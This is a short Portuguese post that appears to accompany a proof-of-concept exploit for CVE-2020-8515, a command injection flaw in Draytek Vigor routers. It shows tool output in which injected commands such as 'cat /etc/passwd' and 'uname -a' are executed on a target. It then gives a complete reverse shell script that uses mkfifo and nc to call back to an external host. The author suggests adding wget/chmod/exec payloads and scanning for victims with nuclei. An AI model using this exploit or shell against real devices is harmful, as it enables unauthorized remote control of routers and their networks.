
Exploit de prova de conceito para injeção de comando CVE-2020-8515 em roteadores Draytek. Inclui exploração automatizada, entrega de shell reverso e integração com modelos de varredura nuclei.
Draytek CVE-2020-8515 PoC que eu tinha guardado.
Engraçado, o comando injetado é executado duas vezes, veja aqui:
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Eu tinha alguns planos para finalizar isto direitinho, mas honestamente, já faz mais de um ano e não me lembro quais eram esses planos, então aqui está. Não é difícil adicionar algumas coisas de wget/chmod/exec a isto, basta olhar na função "do_stuff".
Se você baixar com wget e executar um script como o seguinte, você obtém um reverse shell:
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
Acho que você provavelmente também pode fazer echoload de um script assim se conseguir contornar caracteres ruins na injeção, talvez eu adicione isso depois - o problema da dupla execução realmente torna isso um pouco trabalhoso. Por enquanto, está meio mal-acabado, "o usuário decide".
Este exploit não causará muitos danos ITW, todas as caixas vulneráveis a isso provavelmente já foram cooptadas por botnets DDoS de script kiddies.
Para escaneamento: use o template nuclei que alguém fez